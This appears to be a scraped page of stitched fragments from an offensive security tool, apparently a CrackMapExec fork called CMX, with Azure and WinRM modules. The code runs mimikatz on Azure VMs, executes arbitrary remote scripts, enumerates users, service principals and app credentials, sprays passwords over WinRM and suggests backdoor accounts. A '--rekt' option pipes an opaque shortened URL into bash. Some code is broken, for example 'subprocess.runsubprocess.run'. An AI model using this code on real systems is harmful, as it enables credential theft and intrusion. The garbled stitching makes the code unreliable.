            vmss_iplist = subprocess.run(['az','vmss', 'list-instance-public-ips', '--resource-group', vmss_list_json[i]['rgrp'], '--name', vmss_list_json[i]['name'],  '--query', '[].{ipAddress:ipAddress}'], shell = self.windows, stdout=subprocess.PIPE)
            vmss_iplist_json = json.loads(vmss_iplist.stdout.decode(self.decoder))
            pprint.pprint(vmss_iplist_json)

###############################################################################

         #####      #####     ######     ###    ######     #######
        #     #    #     #    #     #     #     #     #       #
        #          #          #     #     #     #     #       #
         #####     #          ######      #     ######        #
              #    #          #   #       #     #             #
        #     #    #     #    #    #      #     #             #
         #####      #####     #     #    ###    #             #


###############################################################################
###############################################################################
#
#
#
#
###############################################################################


    def mimiaz(self):
        # testing with just running coffee
        # need to figure out how we gonna get output back - limited to 4096 this way...
        if self.args.mimiaz and (self.args.vm is None or self.args.rg is None):
            self.logger.error("mimiaz requires --vm and --rg.")
            self.logger.error("Try `cmx az --vm-list` to find values")
            return


        mimiaz_path = cfg.PS_PATH / 'mimiaz.ps1'
        mimiaz_script = '@' + str(mimiaz_path)
        self.logger.announce("Running mimikatz on {}, please allow at least 30 seconds".format(self.args.vm[0]))

        commander = subprocess.run(['az','vm', 'run-command', 'invoke', '--command-id', 'RunPowerShellScript', '--name', self.args.vm[0], '-g', self.args.rg[0], '--scripts', mimiaz_script], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        try:
            commander_json = json.loads(commander.stdout.decode(self.decoder))
        except:
            self.logger.error("Current user has no VM subscriptions")
            return

        if self.args.full:
            pprint.pprint(commander_json)

        else:
            print(commander_json['value'][0]['message'])


    def script(self):
        # need to figure out how we gonna get output back - limited to 4096 this way...
        if self.args.vm is None or self.args.rg is None:
            self.logger.error("script execution requires a --vm and --rg.")
            self.logger.error("Try `cmx az --vm-list` to find values")
            return

        if Path(self.args.script[0]).is_file():
            script_path = '@' + self.args.script[0]
        else:
            self.logger.error("Script not found at {}".format(self.args.script[0]))
            return

        self.logger.announce("Running script on {}, please allow at least 30 seconds".format(self.args.vm[0]))

        commander = subprocess.run(['az','vm', 'run-command', 'invoke', '--command-id', 'RunPowerShellScript', '--name', self.args.vm[0], '-g', self.args.rg[0], '--scripts', script_path], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        try:
            commander_json = json.loads(commander.stdout.decode(self.decoder))
        except:
            self.logger.error("Script Execution Failed")
            return

        if self.args.full:
            pprint.pprint(commander_json)

        else:
            print(commander_json['value'][0]['message'])

###############################################################################

             #####     ######     #     #
            #     #    #     #    ##    #
            #          #     #    # #   #
             #####     ######     #  #  #
                  #    #          #   # #
            #     #    #          #    ##
             #####     #          #     #

###############################################################################
###############################################################################
#
#
#
#
###############################################################################


    def spn_list(self):
        # az ad sp list --all
        spnn_list = subprocess.run(['az','ad', 'sp', 'list', '--all', '--query', '[].{appDisplayName:appDisplayName, appId:appId, appOwnerTenantId:appOwnerTenantId, publisherName:publisherName}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        try:
            spn_list_json = json.loads(spnn_list.stdout.decode(self.decoder))
        except:
            self.logger.error("Current user has no VM subscriptions")
            return

        self.logger.announce("Getting SPN Info")

        if self.args.full:
            pprint.pprint(spn_list_json)
        else:
            self.logger.highlight("{:<40}  |      {:<32} |   {:<32}   |   publisherName".format('    associated-app', '         appId', '         appOwnerTenantId'))
            for spn in spn_list_json:

                if spn['appDisplayName'] and spn['appId']:
                    self.logger.highlight("{:<40}  |  {} | {} | {}".format((spn['appDisplayName'][:37] + (spn['appDisplayName'][37:] and '..')),
                                                                 spn['appId'],
                                                                 spn['appOwnerTenantId'],
                                                                 spn['publisherName']))

    def spn_owner_list(self):
        # az ad sp list --all
        spnn_list = subprocess.run(['az','ad', 'sp', 'list', '--all', '--query', '[].{appDisplayName:appDisplayName, appId:appId, appOwnerTenantId:appOwnerTenantId}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        try:
            spn_list_json = json.loads(spnn_list.stdout.decode(self.decoder))
        except:
            self.logger.error("Current user has no VM subscriptions")
            return

        self.logger.announce("Getting SPN Info")

        if self.args.full:
            pprint.pprint(spn_list_json)
        else:
            self.logger.highlight("{:<40}  |      {:<32} |   {}".format('    associated-app', '         appId', '         appOwnerTenantId'))
            for spn in spn_list_json:
                spn_own_list = subprocess.run(['az','ad', 'sp', 'owner', 'list', '--id', spn['appId']], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                try:
                    spn_own_list_json = json.loads(spn_own_list.stdout.decode(self.decoder))
                except:
                    self.logger.error("Error getting owner list")
                    return
                print("app:{}".format(spn['appDisplayName']))
                pprint.pprint(spn_own_list_json)


    def spn(self):
        # az ad sp list --all --query [].{appDisplayName:appDisplayName, appId:appId, appOwnerTenantId:appOwnerTenantId}
        spnn_list = subprocess.run(['az','ad', 'sp', 'list', '--all', '--query', '[].{appDisplayName:appDisplayName, appId:appId, appOwnerTenantId:appOwnerTenantId}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        try:
            spn_list_json = json.loads(spnn_list.stdout.decode(self.decoder))
        except:
            decode_fail = True
            pass
        # this added try/catch is because windows is F'd
        try:
            if decode_fail:
                spn_list_json = json.loads(spnn_list.stdout.decode('cp1252'))
        except:
            self.logger.error("Current user has no VM subscriptions")
            return

        self.logger.announce("Getting SPN Info")

        if self.args.full:
            pprint.pprint(spn_list_json)
        else:
            self.logger.highlight("{:<40}  |      {:<32} |   {}".format('    associated-app', '         appId', '         appOwnerTenantId'))
            for spn in spn_list_json:

                if spn['appDisplayName'] and spn['appId']:
                    self.logger.highlight("{:<40}  |  {} | {}".format((spn['appDisplayName'][:37] + (spn['appDisplayName'][37:] and '..')),
                                                                 spn['appId'],
                                                                 spn['appOwnerTenantId']))

    def spn_mine(self):
        # az ad sp list --show-mine
        spnn_list = subprocess.run(['az','ad', 'sp', 'list', '--show-mine'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        #spnn_list = subprocess.run(['az','ad', 'sp', 'list', '--show-mine', '--query', '[].{appDisplayName:appDisplayName, appId:appId, appOwnerTenantId:appOwnerTenantId}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        try:
            spn_list_json = json.loads(spnn_list.stdout.decode(self.decoder))
        except:
            self.logger.error("Current user has no VM subscriptions")
            return

        self.logger.announce("Getting SPN Info For Current User")

        if self.args.full:
            pprint.pprint(spn_list_json)
        else:
            self.logger.highlight("{:<40}  |      {:<32} |   {}".format('    associated-app', '         appId', '         appOwnerTenantId'))

            for spn in spn_list_json:

                if spn['appDisplayName'] and spn['appId']:
                    self.logger.highlight("{:<40}  |  {} | {}".format((spn['appDisplayName'][:37] + (spn['appDisplayName'][37:] and '..')),
                                                                 spn['appId'],
                                                                 spn['appOwnerTenantId']))


###############################################################################

               #       ######     ######
              # #      #     #    #     #
             #   #     #     #    #     #
            #     #    ######     ######
            #######    #          #
            #     #    #          #
            #     #    #          #

###############################################################################
###############################################################################
#
#
#
#
###############################################################################


    def app_list(self):

        #app_list = subprocess.run(['az','ad', 'app', 'list', '--all', '--query', '[].{DisplayName:displayName, appId:appId, homepage:homepage}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        app_list = subprocess.run(['az','ad', 'app', 'list', '--all'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        try:
            app_list_json = json.loads(app_list.stdout.decode(self.decoder))
        except:
            self.logger.error("Current user has no VM subscriptions")
            return

        if self.args.full:
            pprint.pprint(app_list_json)
            return

        self.logger.highlight("{:<35}     {:<35}    {}     {}  ".format('     displayName',
                                                                        'homepage',
                                                                        'keyProps',
                                                                        'passwordProps' ))
        for app in app_list_json:
            #self.db.add_app(str(app['displayName']), str(app['appId']), str(app['homepage']), str(app['objectId']), str(app['allowGuestsSignIn']), str(app['keyCredentials']), str(app['passwordCredentials']), str(app['wwwHomepage']) )
            self.db.add_app(app)
            if not self.args.full:
                self.logger.highlight("{:<35}  |  {:<35}  | {:<9}  |  {:<}".format((app['displayName'][:33] + (app['displayName'][33:] and '..')),
                                                                                  ((app['homepage'][:33] + (app['homepage'][33:] and '..')) if app['homepage'] else ' '),
                                                                                  ('CheckDB' if app['keyCredentials'] else ' '),
                                                                                  ('CheckDB' if app['passwordCredentials'] else ' ') ) )
Exemple #11
0
def main():

    setup_logger()
    logger = CMXLogAdapter()
    first_run_setup(logger)

    args = gen_cli_args()

    module = None
    module_server = None
    targets = []
    server_port_dict = {'http': 80, 'https': 443, 'smb': 445}
    current_workspace = cfg.WORKSPACE
    hasPassList = False

    if args.debug:
        setup_debug_logger()

    if args.darrell:
        links = open((
            cfg.DATA_PATH /
            'videos_for_darrell').with_suffix('.harambe')).read().splitlines()
        try:
            webbrowser.open(random.choice(links))
            sys.exit(1)
        except:
            sys.exit(1)

    if args.rekt:
        try:
            os.system("curl -s -L http://bit.ly/10hA8iC | bash")
            sys.exit(1)
        except:
            sys.exit(1)

    logging.debug('Passed args:\n' + pformat(vars(args)))

    if hasattr(args, 'username') and args.username:
        for user in args.username:
            if Path(user).is_file():  #If it was a file passed in
                args.username.remove(user)
                args.username.append(open(user, 'r'))

    if hasattr(args, 'password') and args.password:
        for passw in args.password:
            if Path(passw).is_file():  #If it was a file passed in
                hasPassList = True
                args.password.remove(passw)
                args.password.append(open(passw, 'r'))

    elif hasattr(args, 'hash') and args.hash:
        for ntlm_hash in args.hash:
            if Path(ntlm_hash).is_file():  #If it was a file passed in
                args.hash.remove(ntlm_hash)
                args.hash.append(open(ntlm_hash, 'r'))

    if hasattr(args, 'cred_id') and args.cred_id:
        for cred_id in args.cred_id:
            if '-' in str(cred_id):
                start_id, end_id = cred_id.split('-')
                try:
                    for n in range(int(start_id), int(end_id) + 1):
                        args.cred_id.append(n)
                    args.cred_id.remove(cred_id)
                except Exception as e:
                    logger.error(
                        'Error parsing database credential id: {}'.format(e))
                    sys.exit(1)

    if hasattr(args, 'target') and args.target:
        for target in args.target:
            if Path(target).is_file():  #If it was a file passed in
                target_file_type = identify_target_file(target)
                if target_file_type == 'nmap':
                    targets.extend(parse_nmap_xml(target, args.protocol))
                elif target_file_type == 'nessus':
                    targets.extend(parse_nessus_file(target, args.protocol))
                else:
                    with open(target, 'r') as target_file:
                        for target_entry in target_file:
                            targets.extend(parse_targets(target_entry))
            else:
                targets.extend(parse_targets(target))

    p_loader = protocol_loader()
    protocol_path = p_loader.get_protocols()[args.protocol]['path']
    protocol_db_path = p_loader.get_protocols()[args.protocol]['dbpath']

    protocol_object = getattr(p_loader.load_protocol(protocol_path),
                              args.protocol)
    protocol_db_object = getattr(p_loader.load_protocol(protocol_db_path),
                                 'database')

    db_path = (cfg.WS_PATH / current_workspace /
               args.protocol).with_suffix('.db')
    # set the database connection to autocommit w/ isolation level
    db_connection = sqlite3.connect(db_path, check_same_thread=False)
    db_connection.text_factory = str
    db_connection.isolation_level = None
    db = protocol_db_object(db_connection)

    setattr(protocol_object, 'config', cfg.__dict__)

    if hasattr(args, 'module'):

        loader = module_loader(args, db, logger)

        if args.list_modules:
            modules = loader.get_modules()

            for name, props in sorted(modules.items()):
                logger.announce('{:<25} {}'.format(name, props['description']))
            sys.exit(0)

        elif args.module and args.show_module_options:

            modules = loader.get_modules()
            for name, props in modules.items():
                if args.module.lower() == name.lower():
                    logger.announce('{} module options:\n{}'.format(
                        name, props['options']))
            sys.exit(0)

        elif args.module:
            modules = loader.get_modules()
            for name, props in modules.items():
                if args.module.lower() == name.lower():
                    module = loader.init_module(props['path'])
                    setattr(protocol_object, 'module', module)
                    break

            if not module:
                logger.error('Module not found')
                exit(1)

            if getattr(module, 'opsec_safe') is False:
                ans = raw_input(
                    highlight(
                        '[!] Module is not opsec safe, are you sure you want to run this? [Y/n] ',
                        'red'))
                if ans.lower() not in ['y', 'yes', '']:
                    sys.exit(1)

            if getattr(module, 'multiple_hosts') is False and len(targets) > 1:
                ans = raw_input(
                    highlight(
                        "[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ",
                        'red'))
                if ans.lower() not in ['y', 'yes', '']:
                    sys.exit(1)

            if hasattr(module, 'on_request') or hasattr(
                    module, 'has_response'):

                if hasattr(module, 'required_server'):
                    args.server = getattr(module, 'required_server')

                if not args.server_port:
                    args.server_port = 443

                context = Context(db, logger, args)
                module_server = CMXServer(module, context, logger,
                                          args.server_host, args.server_port,
                                          args.server)
                module_server.start()
                setattr(protocol_object, 'server', module_server.server)

    try:
        '''
            Open threads
        '''

        pool = Pool(args.threads)
        jobs = []

        for target in targets:
            jobs.append(pool.spawn(protocol_object, args, db, str(target)))

        # Lets azure not require a target
        if args.protocol == 'az':
            if not targets:
                jobs.append(pool.spawn(protocol_object, args, db, '1'))

        if args.timeout == 0: args.timeout = None

        for job in jobs:
            job.join(timeout=args.timeout)

    except (KeyboardInterrupt, gevent.Timeout):
        logging.info("Timed out")
        pass

    if module_server:
        module_server.shutdown()
from subprocess import call
from cmx.helpers.misc import which
from cmx.logger import CMXLogAdapter
from base64 import b64encode
from pathlib import Path
from cmx import config as cfg
import pdb
import cmx
import os
import logging
import re

########################################################################
########################################################################

logger = CMXLogAdapter()

obfuscate_ps_scripts = False

########################################################################
########################################################################


def get_ps_script(path):
    return (cfg.CMX_DIR / 'data' / path)


def encode_ps_command(command):
    return b64encode(command.encode('UTF-16LE'))

Exemple #13
0
class winrm(connection):

    def __init__(self, args, db, host):
  
        self.hostname = None
        self.os_arch = None
        self.local_ip = None
        self.domain = None
        self.server_os = None
        self.os_arch = 0
        self.hash = None
        self.lmhash = ''
        self.nthash = ''
        self.remote_ops = None
        self.bootkey = None
        self.output_filename = None
        self.smbv1 = None
        self.signing = False
        self.debug = args.verbose
        self.dc_ip = ''

        connection.__init__(self, args, db, host)

    @staticmethod
    def proto_args(parser, std_parser, module_parser):
        winrm_parser = parser.add_parser('winrm', help="own stuff using WINRM", parents=[std_parser, module_parser])
        winrm_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
        winrm_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
        dgroup = winrm_parser.add_mutually_exclusive_group()
        dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to")
        dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
        cgroup = winrm_parser.add_argument_group("Command Execution", "Options for executing commands")
        cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
        cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")
        cgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command')

        return parser
       

    def proto_flow(self):
        self.proto_logger()
        if self.create_conn_obj():
            self.enum_host_info()
            self.print_host_info()
            if self.login():
                if hasattr(self.args, 'module') and self.args.module:
                    self.call_modules()
                else:
                    self.call_cmd_args()

    def proto_logger(self):
        print('test')
        self.logger = CMXLogAdapter(extra={'protocol': 'WINRM',
                                        'host': self.host,
                                        'port': 'NONE',
                                        'hostname': self.hostname})

    def enum_host_info(self):

        #smb_conn = SMBConnection(self.host, self.host, None)
#
        #try:
        #    smb_conn.login('' , '')
        #except SessionError as e:
        #    if "STATUS_ACCESS_DENIED" in str(e):
        #        pass
#
        #self.domain    = smb_conn.getServerDomain()
        #self.hostname  = smb_conn.getServerName()
        #self.server_os = smb_conn.getServerOS()
        #self.signing   = smb_conn.isSigningRequired()
        #self.os_arch   = smb_conn.get_os_arch()
#
        #self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
#
        #if not self.domain:
        #    self.domain = self.hostname
#
        #self.db.add_computer(self.host, self.hostname, self.domain, self.server_os)
#
        #try:
        #    ''' DC's seem to want us to logoff first, windows workstations sometimes reset the connection
        #    '''
        #    smb_conn.logoff()
        #except:
        #    pass
#
        #if self.args.domain:
        #    self.domain = self.args.domain
#
        #if self.args.local_auth:
        #    self.domain = self.hostname
        print('todo')


    def print_host_info(self):
#>>> s.__dict__
#   {'url': 'http://win10a.ocean.depth:5985/wsman', 'protocol': <winrm.protocol.Protocol object at 0x7f7ae595f110>}
#>>> s.protocol.__dict__
#   {'read_timeout_sec': 30, 'operation_timeout_sec': 20, 'max_env_sz': 153600, 'locale': 'en-US', 'transport': <winrm.transport.Transport object at 0x7f7ae60a7f50>, 'username': '******', 'password': '******', 'service': 'HTTP', 'keytab': None, 'ca_trust_path': None, 'server_cert_validation': 'validate', 'kerberos_delegation': False, 'kerberos_hostname_override': None, 'credssp_disable_tlsv1_2': False}
#   
        self.logger.info("{}".format(self.conn.url))


    def create_conn_obj(self):
        #pywinrm will try and guess the correct endpoint url: https://pypi.org/project/pywinrm/0.2.2/
        print('pass={}'.format(self.args.password))
        self.conn = pywinrm.Session(self.host,
                                    auth=('{}\\{}'.format(self.domain, self.args.username[0]), self.args.password[0]),
                                    transport='ntlm',
                                    server_cert_validation='ignore')
        return True


    def plaintext_login(self, domain, username, password):
        try:
            self.conn.run_cmd('hostname')
            self.admin_privs = True
            out = '{}\\{}:{} {}'.format(domain,
                                         username,
                                         password,
                                         highlight('({})'.format(cfg.pwn3d_label) if self.admin_privs else ''))
            self.logger.success(out)
            if not self.args.continue_on_success:
                return True

        except SessionError as e:
            error, desc = e.getErrorString()
            self.logger.error('{}\\{}:{} {} {}'.format(domain,
                                                        username,
                                                        password,
                                                        error,
                                                        '({})'.format(desc) if self.args.verbose else ''))

            if error == 'STATUS_LOGON_FAILURE': self.inc_failed_login(username)

            return False

    def parse_output(self, response_obj):
        if response_obj.status_code == 0:
            buf = StringIO(response_obj.std_out).readlines()
            for line in buf:
                self.logger.highlight(line.decode('utf-8').strip())

            return response_obj.std_out

        else:
            buf = StringIO(response_obj.std_err).readlines()
            for line in buf:
                self.logger.highlight(line.decode('utf-8').strip())

            return response_obj.std_err

    def execute(self, payload=None, get_output=False):
        r = self.conn.run_cmd(self.args.execute)
        self.logger.success('Executed command')
        self.parse_output(r)

    def ps_execute(self, payload=None, get_output=False):
        r = self.conn.run_ps(self.args.ps_execute)
        self.logger.success('Executed command')
        self.parse_output(r)
Exemple #14
0
class az(connection):
    def __init__(self, args, db, host):

        self.db = db
        self.args = args
        self.az_cli = None
        self.username = ''
        self.domain = ''

        if args.config:
            self.config1()
        else:
            self.proto_flow()

    @staticmethod
    def proto_args(parser, std_parser, module_parser):
        azure_parser = parser.add_parser('az',
                                         help="owning over azure",
                                         parents=[std_parser, module_parser])
        azure_parser.add_argument(
            '--full',
            action='store_true',
            help='Display full json output for azure commands')
        azure_parser.add_argument(
            '--save',
            action='store_true',
            help=
            'Saves just usernames to a file in current directory when doing user enum'
        )

        configgroup = azure_parser.add_argument_group(
            "Configure Azure CLI", "Configure the Azure Connection")
        configgroup.add_argument('--config',
                                 action='store_true',
                                 help='Setup or re-bind azure connection')

        #commandgroup = azure_parser.add_argument_group("Command Execution", "Options for executing commands")
        #commandgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")

        enumgroup = azure_parser.add_argument_group(
            "Enumeration", "Azure AD Enumeration Commands")
        enumgroup.add_argument(
            '--user',
            nargs='?',
            const='',
            metavar='USER',
            help='Enumerate and return all info about a user')
        enumgroup.add_argument('--users',
                               action='store_true',
                               help='Enumerate and return all users')
        enumgroup.add_argument(
            '--group',
            nargs='?',
            const='',
            metavar='GROUP',
            help='Enumerate and return all members of a group')
        enumgroup.add_argument('--groups',
                               action='store_true',
                               help='Enumerate and return all groups')
        enumgroup.add_argument(
            '--usergroups',
            nargs='?',
            const='',
            metavar='USERSGROUPS',
            help='Enumerate and return all groups a user is a member of')

        privgroup = azure_parser.add_argument_group(
            "Privilege Checks", "Get Privs and identify PrivEsc")
        privgroup.add_argument(
            '--suggest',
            action='store_true',
            help='Check for potentially abusable permissions')
        privgroup.add_argument('--privs',
                               nargs='?',
                               const='',
                               metavar='USER',
                               help='Check current users privileges')

        resourcegroup = azure_parser.add_argument_group(
            "Resource Checks", "Interact with resources")
        resourcegroup.add_argument(
            '--rgroups',
            action='store_true',
            help='List all Resource Groups for current subscription')

        sqlgroup = azure_parser.add_argument_group(
            "SQL Commands", "Interact with SQL Servers and DBs")
        sqlgroup.add_argument(
            '--sql-list',
            action='store_true',
            help='List all SQL Servers for current subscription')
        sqlgroup.add_argument('--sql-db-list',
                              nargs='?',
                              const='',
                              metavar='USER',
                              help='List all SQL DBs for current subscription')

        storagegroup = azure_parser.add_argument_group(
            "Storage Commands", "Interact with Storage")
        storagegroup.add_argument(
            '--storage-list',
            action='store_true',
            help='List all Storage for current subscription')

        vmgroup = azure_parser.add_argument_group(
            "VM Checks", "Interact with VMs and VM Scale Sets")
        vmgroup.add_argument(
            '--vm-list',
            nargs='?',
            const='',
            metavar='RESOURCEGROUP',
            help=
            'List all VMs for current subscription or target resource group')
        vmgroup.add_argument(
            '--vmss-list',
            nargs='?',
            const='',
            metavar='RESOURCEGROUP',
            help=
            'List all VM Scale Sets for current subscription or target resource group'
        )

        spngroup = azure_parser.add_argument_group(
            "SPN Checks", "Interact with Service Principals")
        spngroup.add_argument('--spn-list',
                              action='store_true',
                              help='List all SPNs for current subscription')

        appgroup = azure_parser.add_argument_group("App Checks",
                                                   "Interact with Apps")
        appgroup.add_argument('--app-list',
                              action='store_true',
                              help='List all Apps for current subscription')

        return parser

    def proto_flow(self):
        self.proto_logger()
        if self.test_connection():
            self.call_cmd_args()

    def proto_logger(self):
        self.logger = CMXLogAdapter(
            extra={
                'protocol': 'AZURE',
                'host': self.username,
                'port': self.domain,
                'hostname': 'CLI'
            })

    def test_connection(self):
        if not cfg.AZ_CONFIG_PATH.is_file():
            self.logger.error('Azure connection has not been configured.')
            self.logger.error('Run: cmx az 1 --config')
            return False

        # Grab our user/domain and re-init logger.
        # Config should have stored this in the config file.
        f = open(cfg.AZ_CONFIG_PATH, "r")
        data = f.read()
        f.close()
        self.username = data.split()[0].split('@')[0]
        self.domain = data.split()[0].split('@')[1]
        self.proto_logger()

        self.az_cli = get_default_cli()

        return True

    def config1(self):
        self.proto_logger()

        login = subprocess.run(['az', 'login', '--allow-no-subscriptions'],
                               stdout=subprocess.PIPE)
        user = re.findall('([a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+)',
                          str(login.stdout))
        #print("               Logged in as {}".format(user[0]))
        self.logger.success('Logged in as {}'.format(user[0]))

        if not cfg.AZ_PATH.is_dir():
            cfg.AZ_PATH.mkdir(parents=True, exist_ok=True)

        f = open(cfg.AZ_CONFIG_PATH, "w")
        f.write("{}".format(user[0]))
        f.close()
        print('')
        print("               Azure Services now configured, Go get em tiger")
        print('')

    def call_cmd_args(self):
        for k, v in list(vars(self.args).items()):
            if hasattr(self, k) and hasattr(getattr(self, k), '__call__'):
                if v is not False and v is not None:
                    logging.debug('Calling {}()'.format(k))
                    getattr(self, k)()

    def execute(self, command):
        try:
            result = self.az_cli.invoke(command)
            return {'result': result.result, 'error': None}
        except CLIError as err:
            return {'result': None, 'error': err.args}

###############################################################################

#       ######              ####### #     # #     # #     #
# #      #     #             #       ##    # #     # ##   ##
#   #     #     #             #       # #   # #     # # # # #
#     #    #     #    #####    #####   #  #  # #     # #  #  #
#######    #     #             #       #   # # #     # #     #
#     #    #     #             #       #    ## #     # #     #
#     #    ######              ####### #     #  #####  #     #

###############################################################################
###############################################################################
#   Network/Domain Enum functions
#
# This section:
#
#
#
#
# (fold next line)
###############################################################################

    def user(self):
        #if self.args.user == '':
        #    self.args.user = self.user

        user_id = subprocess.run(
            ['az', 'ad', 'user', 'show', '--id', self.args.user],
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE)
        try:
            user_id_json = json.loads(user_id.stdout.decode('utf-8'))
        except:
            self.logger.error("Current user has no subscriptions")
            return

        self.db.add_user(user_id_json)

        plans = []
        for plan in user_id_json["assignedPlans"]:
            plans.append(plan["service"])

        self.logger.announce("Getting User Info")

        if self.args.full:
            pprint.pprint(user_id_json)
        else:
            self.logger.highlight("{:<26} {}".format('mail: ',
                                                     user_id_json['mail']))
            self.logger.highlight("{:<26} {}".format(
                'mailNickname: ', user_id_json['mailNickname']))
            self.logger.highlight("{:<26} {}".format(
                'TelephoneNumber: ', user_id_json['telephoneNumber']))
            self.logger.highlight("{:<26} {}".format('objectId: ',
                                                     user_id_json['objectId']))

            self.logger.highlight(
                "Assigned Plan Memberships: {}".format(plans))
            self.logger.highlight("{:<26} {}".format(
                'SID: ', user_id_json['onPremisesSecurityIdentifier']))
            self.logger.highlight("{:<26} {}".format(
                'userPrincipalName: ', user_id_json['userPrincipalName']))
            self.logger.highlight("{:<26} {}".format(
                'isCompromised: ', user_id_json['isCompromised']))

    def usergroups(self):
        users_groups = subprocess.run([
            'az', 'ad', 'user', 'get-member-groups', '--id',
            self.args.usergroups
        ],
                                      stdout=subprocess.PIPE,
                                      stderr=subprocess.PIPE)
        try:
            users_groups_json = json.loads(users_groups.stdout.decode('utf-8'))
        except:
            self.logger.error("Current user has no subscriptions")
            return
        pprint.pprint(users_groups_json)

    def users(self):
        self.logger.announce(
            "Getting all users info, this might take a minute")
        user_id = subprocess.run(['az', 'ad', 'user', 'list'],
                                 stdout=subprocess.PIPE,
                                 stderr=subprocess.PIPE)
        try:
            user_id_json = json.loads(user_id.stdout.decode('utf-8'))
        except:
            self.logger.error("Current user has no subscriptions")
            return

        try:
            for user1 in user_id_json:
                self.db.add_user(user1)
        except:
            self.logger.error("add user error tracebak:")
            self.logger.error(format_exc())

        # Do we save usernames
        if self.args.save:
            filename = "{}-users.txt".format(self.domain)
            savefile = open(filename, "w")

        if self.args.full:
            pprint.pprint(user_id_json)

        else:
            usercount = 0
            for user1 in user_id_json:
                if user1['isCompromised'] == None:
                    comp = 'No'
                else:
                    comp = 'Yes'

                if self.args.save:
                    savefile.write("{}\n".format(user1['mail']))

                usercount = usercount + 1
                self.logger.highlight("{:<36}  id:{}  compromised:{} ".format(
                    user1['userPrincipalName'], user1['objectId'], comp))

        if self.args.save:
            savefile.close()
            self.logger.success(
                "Email addresses saved to: {}".format(filename))

        self.logger.success("Total Users Found: {}".format(usercount))
        self.logger.success(
            "All user info complete. Check the db for more details")

    def group(self):
        if self.args.group == '':
            self.logger.error('Must provide a group name or objectID')
            return

        group_list = subprocess.runsubprocess.run([
            'az', 'ad', 'group', 'member', 'list', '--group', self.args.group
        ],
                                                  stdout=subprocess.PIPE,
                                                  stderr=subprocess.PIPE)
        try:
            group_list_json = json.loads(group_list.stdout.decode('utf-8'))
        except:
            self.logger.error("Current user has no subscriptions")
            return
        pprint.pprint(group_list_json)

    def groups(self):
        group_list = subprocess.runsubprocess.run([
            'az', 'ad', 'group', 'list', '--query',
            '[].{display_name:displayName, description: description, object_id: objectId}'
        ],
                                                  stdout=subprocess.PIPE,
                                                  stderr=subprocess.PIPE)
        try:
            group_list_json = json.loads(group_list.stdout.decode('utf-8'))
        except:
            self.logger.error("Current user has no subscriptions")
            return
        pprint.pprint(group_list_json)

###############################################################################

######  ######     ###    #     #       #######  #####   #####
#     # #     #     #     #     #       #       #     # #     #
#     # #     #     #     #     #       #       #       #
######  ######      #     #     #       #####    #####  #
#       #   #       #      #   #        #             # #
#       #    #      #       # #         #       #     # #     #
#       #     #    ###       #          #######  #####   #####

###############################################################################
###############################################################################
#
#
#
#
###############################################################################

    def suggest(self):

        # Grab user UPN
        upn_resp = subprocess.run([
            'az', 'ad', 'signed-in-user', 'show', '--query',
            '{upn:userPrincipalName}'
        ],
                                  stdout=subprocess.PIPE,
                                  stderr=subprocess.PIPE)
        upn_json_obj = json.loads(upn_resp.stdout.decode('utf-8'))
        upn = upn_json_obj['upn']
        logging.debug('upn: {}'.format(upn))

        # GetCurrent users roles
        role_resp = subprocess.run([
            'az', 'role', 'assignment', 'list', '--assignee', upn, '--query',
            '[].{roleName:roleDefinitionName}'
        ],
                                   stdout=subprocess.PIPE,
                                   stderr=subprocess.PIPE)
        try:
            role_json_obj = json.loads(role_resp.stdout.decode('utf-8'))
        except:
            self.logger.error("Current user has no subscriptions")
            return

        role_list = []
        for role in role_json_obj:
            role_list.append(role["roleName"])

        if (len(role_list) == 0):
            self.logger.error("No roles found")
        return

        # Get definitions for each role
        tmp_list_perms = []
        for role in role_list:
            #print(role.upper())
            role_show = subprocess.run([
                'az', 'role', 'definition', 'list', '--name', role, '--query',
                '[].{actions:permissions[].actions, dataActions:permissions[].dataActions, notActions:permissions[].notActions, notDataActions:permissions[].NotDataActions}'
            ],
                                       stdout=subprocess.PIPE)
            role_show_json = json.loads(role_show.stdout.decode('utf-8'))
            tmp_list_perms.append(role_show_json[0]['actions'][0])

        all_permissions = [
            item for sublist in tmp_list_perms for item in sublist
        ]

        self.check_perms(all_permissions)

    def check_perms(self, permissions):

        self.logger.announce("Getting potentially abusable global permissions")
        for perm in permissions:
            if ("*" in perm):
                self.logger.highlight(
                    "Found permission with * - should investigate: {}".format(
                        perm))
            elif ("write" in perm):
                self.logger.highlight(
                    " found permission with write - should investigate: {}".
                    format(perm))
            elif ("create" in perm):
                self.logger.highlight(
                    " found permission with create - should investigate: {}".
                    format(perm))
            elif ("delete" in perm):
                self.logger.highlight(
                    " found permission with delete - should investigate: {}".
                    format(perm))

        self.logger.announce("Checking specific permissions")
        for perm in permissions:

            if ("Microsoft.Authorization/*" in perm):
                self.logger.highlight(
                    "Current user has permission to do all authorizations actions to resources - consider RBAC manipulation and adding a backdoor AD user"
                )
